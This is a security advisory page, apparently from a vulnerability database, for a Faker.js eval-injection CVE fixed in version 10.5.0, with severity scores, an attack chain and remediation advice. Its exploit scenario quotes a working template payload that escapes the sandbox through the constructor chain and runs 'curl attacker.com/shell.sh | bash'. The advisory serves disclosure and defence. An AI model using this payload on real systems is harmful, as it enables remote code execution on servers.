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Faker.js CVE-2026-73231

| EUVDEUVD-2026-56923 HIGH
Eval Injection (CWE-95)
2026-08-11 security-advisories@github.com
7.8
CVSS 3.1 · Vendor: github
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Vendor (github) PRIMARY
7.8 HIGH
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
7.8 HIGH

Attacker must control template strings passed to faker, implying at minimum low-privileged local code execution or application-level access; AV:N only applies when applications expose faker to user input.

3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative
Red Hat
8.8 HIGH
qualitative

Primary rating from Vendor (github).

CVSS VectorVendor: github

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Patch available
Aug 11, 2026 - 21:18 EUVD
Source Code Evidence Fetched
Aug 11, 2026 - 21:03 vuln.today
Analysis Generated
Aug 11, 2026 - 21:03 vuln.today
CVE Published
Aug 11, 2026 - 20:18 cve.org
HIGH 7.8

DescriptionCVE.org

Faker generates massive amounts of fake data in the browser and Node.js. Prior to 10.5.0, the faker.helpers.fake method in src/modules/helpers/eval.ts allows attacker-controlled fake templates to access the Function constructor through fakeEval.resolveProperty when a function returns another function, enabling arbitrary JavaScript code execution. This issue is fixed in version 10.5.0.

AnalysisAI

Arbitrary JavaScript code execution in Faker.js prior to 10.5.0 is achievable when attacker-controlled strings reach the faker.helpers.fake template engine. The vulnerability resides in fakeEval.resolveProperty in src/modules/helpers/eval.ts, where direct property access on a function return value (entrypoint?.[key]) allows traversal to the Function constructor via constructor.constructor, a classic sandbox escape. …

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Attack ChainAIDerived

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Access
Control template string input to faker
Delivery
Craft property chain targeting function.constructor
Exploit
resolveProperty traverses to Function constructor
Execution
Invoke Function constructor with arbitrary JS payload
Impact
Execute code in Node.js process context

Vulnerability AssessmentAI

Exploitation Exploitation requires that attacker-controlled strings reach the `faker.helpers.fake` method (or the underlying `fakeEval` function) as template input. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 vector (AV:L/AC:L/PR:L/UI:N, score 7.8) positions this as a local, low-complexity attack requiring low privileges. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker identifies a server-side API endpoint (e.g., a mock-data preview or seeding service) that accepts a template string and passes it directly to `faker.helpers.fake`. The attacker submits a crafted template such as `{{custom.evil.constructor.constructor('require("child_process").execSync("curl attacker.com/shell.sh | bash")')()}}`, which the old `resolveProperty` logic resolves by traversing the function's `constructor` chain to reach the built-in `Function` constructor, then executes the injected payload with the privileges of the Node.js process. …
Remediation Upgrade Faker.js to version 10.5.0 or later, which contains the patched `resolveProperty` implementation (commit 54586208f904012f57c50b46cc1ad32bcbe4bfb7). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, audit all Faker.js installations across development, staging, and production environments by examining package.json, yarn.lock, and npm shrinkwrap files to identify versions below 10.5.0, then prioritize affected production systems. …

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SUSE

Severity: Important
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